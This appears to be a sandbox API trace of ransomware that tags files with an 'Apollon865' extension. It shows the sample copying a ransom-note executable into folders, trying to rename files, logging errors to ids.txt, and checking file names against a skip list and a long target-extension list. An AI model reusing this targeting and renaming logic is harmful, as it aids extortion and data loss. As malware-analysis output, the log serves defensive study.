	[0051.479] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36c0cc10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36c0cc10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.479] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.479] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.479] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(144DPI)alertIcon.png" | out: lpString1="(144DPI)alertIcon.png") returned="(144DPI)alertIcon.png"
	[0051.479] lstrlenW (lpString="(144DPI)alertIcon.png") returned 21
	[0051.479] lstrlenW (lpString="Apollon865") returned 10
	[0051.479] lstrcmpiW (lpString1="rtIcon.png", lpString2="Apollon865") returned 1
	[0051.479] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(144DPI)grayStateIcon.png" | out: lpString1="(144DPI)grayStateIcon.png") returned="(144DPI)grayStateIcon.png"
	[0051.479] lstrlenW (lpString="(144DPI)grayStateIcon.png") returned 25
	[0051.479] lstrlenW (lpString="Apollon865") returned 10
	[0051.479] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.479] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(144DPI)greenStateIcon.png" | out: lpString1="(144DPI)greenStateIcon.png") returned="(144DPI)greenStateIcon.png"
	[0051.479] lstrlenW (lpString="(144DPI)greenStateIcon.png") returned 26
	[0051.479] lstrlenW (lpString="Apollon865") returned 10
	[0051.479] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.480] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(144DPI)notConnectedStateIcon.png" | out: lpString1="(144DPI)notConnectedStateIcon.png") returned="(144DPI)notConnectedStateIcon.png"
	[0051.480] lstrlenW (lpString="(144DPI)notConnectedStateIcon.png") returned 33
	[0051.480] lstrlenW (lpString="Apollon865") returned 10
	[0051.480] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.480] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(144DPI)redStateIcon.png" | out: lpString1="(144DPI)redStateIcon.png") returned="(144DPI)redStateIcon.png"
	[0051.480] lstrlenW (lpString="(144DPI)redStateIcon.png") returned 24
	[0051.480] lstrlenW (lpString="Apollon865") returned 10
	[0051.480] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.480] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI"
	[0051.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0051.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0051.480] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI") returned 75
	[0051.480] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI"
	[0051.480] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.480] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.486] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.486] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36c32d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36c32d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.486] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.486] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.487] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(120DPI)alertIcon.png" | out: lpString1="(120DPI)alertIcon.png") returned="(120DPI)alertIcon.png"
	[0051.487] lstrlenW (lpString="(120DPI)alertIcon.png") returned 21
	[0051.487] lstrlenW (lpString="Apollon865") returned 10
	[0051.487] lstrcmpiW (lpString1="rtIcon.png", lpString2="Apollon865") returned 1
	[0051.487] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(120DPI)grayStateIcon.png" | out: lpString1="(120DPI)grayStateIcon.png") returned="(120DPI)grayStateIcon.png"
	[0051.487] lstrlenW (lpString="(120DPI)grayStateIcon.png") returned 25
	[0051.487] lstrlenW (lpString="Apollon865") returned 10
	[0051.487] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.487] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(120DPI)greenStateIcon.png" | out: lpString1="(120DPI)greenStateIcon.png") returned="(120DPI)greenStateIcon.png"
	[0051.487] lstrlenW (lpString="(120DPI)greenStateIcon.png") returned 26
	[0051.487] lstrlenW (lpString="Apollon865") returned 10
	[0051.487] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.487] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(120DPI)notConnectedStateIcon.png" | out: lpString1="(120DPI)notConnectedStateIcon.png") returned="(120DPI)notConnectedStateIcon.png"
	[0051.487] lstrlenW (lpString="(120DPI)notConnectedStateIcon.png") returned 33
	[0051.487] lstrlenW (lpString="Apollon865") returned 10
	[0051.487] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.487] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="(120DPI)redStateIcon.png" | out: lpString1="(120DPI)redStateIcon.png") returned="(120DPI)redStateIcon.png"
	[0051.487] lstrlenW (lpString="(120DPI)redStateIcon.png") returned 24
	[0051.487] lstrlenW (lpString="Apollon865") returned 10
	[0051.487] lstrcmpiW (lpString1="teIcon.png", lpString2="Apollon865") returned 1
	[0051.487] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US"
	[0051.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0051.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0051.487] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US") returned 67
	[0051.488] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US"
	[0051.488] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.488] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.495] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.495] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36c32d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36c32d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.495] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.495] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.495] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="css" | out: lpString1="css") returned="css"
	[0051.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0051.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5994c0
	[0051.495] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0051.495] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0051.495] lstrcmpiW (lpString1="gadget.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.495] lstrcmpiW (lpString1="gadget.xml", lpString2="Apollon865.txt.exe") returned 1
	[0051.495] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0051.495] lstrlenW (lpString="gadget.xml") returned 10
	[0051.495] lstrlenW (lpString="Apollon865") returned 10
	[0051.495] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml.Apollon865") returned 89
	[0051.495] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.497] GetLastError () returned 0x5
	[0051.497] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 107
	[0051.497] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 107
	[0051.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.497] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c76
	[0051.497] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6b, lpOverlapped=0x0) returned 1
	[0051.497] CloseHandle (hObject=0x14c) returned 1
	[0051.497] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.497] CloseHandle (hObject=0x0) returned 0
	[0051.497] CloseHandle (hObject=0x0) returned 0
	[0051.497] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c32d70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36c32d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.497] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.497] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0051.497] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.497] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0051.498] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0051.498] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0051.498] lstrlenW (lpString="js") returned 2
	[0051.498] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml") returned 78
	[0051.498] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="js" | out: lpString1="js") returned="js"
	[0051.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0051.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8e) returned 0x599558
	[0051.498] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0051.498] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1
	[0051.498] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.498] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0051.498] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0051.498] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0051.498] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0051.498] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0051.499] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0051.499] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0051.500] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0051.500] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0051.500] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0051.500] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0051.500] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0051.500] lstrlenW (lpString="settings.html") returned 13
	[0051.500] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js") returned 70
	[0051.500] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="settings.html" | out: lpString1="settings.html") returned="settings.html"
	[0051.500] lstrlenW (lpString="settings.html") returned 13
	[0051.500] lstrlenW (lpString="Apollon865") returned 10
	[0051.500] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0051.500] lstrlenW (lpString=".dll") returned 4
	[0051.500] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0051.500] lstrlenW (lpString=".lnk") returned 4
	[0051.500] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0051.500] lstrlenW (lpString=".ini") returned 4
	[0051.500] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0051.500] lstrlenW (lpString=".sys") returned 4
	[0051.500] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0051.500] lstrlenW (lpString="settings.html") returned 13
	[0051.500] lstrlenW (lpString="bak") returned 3
	[0051.500] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0051.500] lstrlenW (lpString="ba_") returned 3
	[0051.500] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0051.500] lstrlenW (lpString="dbb") returned 3
	[0051.500] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0051.501] lstrlenW (lpString="vmdk") returned 4
	[0051.501] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0051.501] lstrlenW (lpString="rar") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0051.501] lstrlenW (lpString="zip") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0051.501] lstrlenW (lpString="tgz") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0051.501] lstrlenW (lpString="vbox") returned 4
	[0051.501] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0051.501] lstrlenW (lpString="vdi") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0051.501] lstrlenW (lpString="vhd") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0051.501] lstrlenW (lpString="vhdx") returned 4
	[0051.501] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0051.501] lstrlenW (lpString="avhd") returned 4
	[0051.501] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0051.501] lstrlenW (lpString="db") returned 2
	[0051.501] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.501] lstrlenW (lpString="db2") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0051.501] lstrlenW (lpString="db3") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0051.501] lstrlenW (lpString="dbf") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0051.501] lstrlenW (lpString="mdf") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0051.501] lstrlenW (lpString="mdb") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0051.501] lstrlenW (lpString="sql") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0051.501] lstrlenW (lpString="sqlite") returned 6
	[0051.501] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0051.501] lstrlenW (lpString="sqlite3") returned 7
	[0051.501] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0051.501] lstrlenW (lpString="sqlitedb") returned 8
	[0051.501] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0051.501] lstrlenW (lpString="xml") returned 3
	[0051.501] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0051.502] lstrlenW (lpString="$er") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0051.502] lstrlenW (lpString="4dd") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0051.502] lstrlenW (lpString="4dl") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0051.502] lstrlenW (lpString="^^^") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0051.502] lstrlenW (lpString="abs") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0051.502] lstrlenW (lpString="abx") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0051.502] lstrlenW (lpString="accdb") returned 5
	[0051.502] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0051.502] lstrlenW (lpString="accdc") returned 5
	[0051.502] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0051.502] lstrlenW (lpString="accde") returned 5
	[0051.502] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0051.502] lstrlenW (lpString="accdr") returned 5
	[0051.502] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0051.502] lstrlenW (lpString="accdt") returned 5
	[0051.502] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0051.502] lstrlenW (lpString="accdw") returned 5
	[0051.502] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0051.502] lstrlenW (lpString="accft") returned 5
	[0051.502] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0051.502] lstrlenW (lpString="adb") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.502] lstrlenW (lpString="adb") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.502] lstrlenW (lpString="ade") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0051.502] lstrlenW (lpString="adf") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0051.502] lstrlenW (lpString="adn") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0051.502] lstrlenW (lpString="adp") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0051.502] lstrlenW (lpString="alf") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0051.502] lstrlenW (lpString="ask") returned 3
	[0051.502] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0051.503] lstrlenW (lpString="btr") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0051.503] lstrlenW (lpString="cat") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0051.503] lstrlenW (lpString="cdb") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0051.503] lstrlenW (lpString="ckp") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0051.503] lstrlenW (lpString="cma") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0051.503] lstrlenW (lpString="cpd") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0051.503] lstrlenW (lpString="dacpac") returned 6
	[0051.503] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0051.503] lstrlenW (lpString="dad") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0051.503] lstrlenW (lpString="dadiagrams") returned 10
	[0051.503] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0051.503] lstrlenW (lpString="daschema") returned 8
	[0051.503] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0051.503] lstrlenW (lpString="db-journal") returned 10
	[0051.503] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0051.503] lstrlenW (lpString="db-shm") returned 6
	[0051.503] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0051.503] lstrlenW (lpString="db-wal") returned 6
	[0051.503] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0051.503] lstrlenW (lpString="dbc") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0051.503] lstrlenW (lpString="dbs") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0051.503] lstrlenW (lpString="dbt") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0051.503] lstrlenW (lpString="dbv") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0051.503] lstrlenW (lpString="dbx") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0051.503] lstrlenW (lpString="dcb") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0051.503] lstrlenW (lpString="dct") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0051.503] lstrlenW (lpString="dcx") returned 3
	[0051.503] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0051.504] lstrlenW (lpString="ddl") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0051.504] lstrlenW (lpString="dlis") returned 4
	[0051.504] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0051.504] lstrlenW (lpString="dp1") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0051.504] lstrlenW (lpString="dqy") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0051.504] lstrlenW (lpString="dsk") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
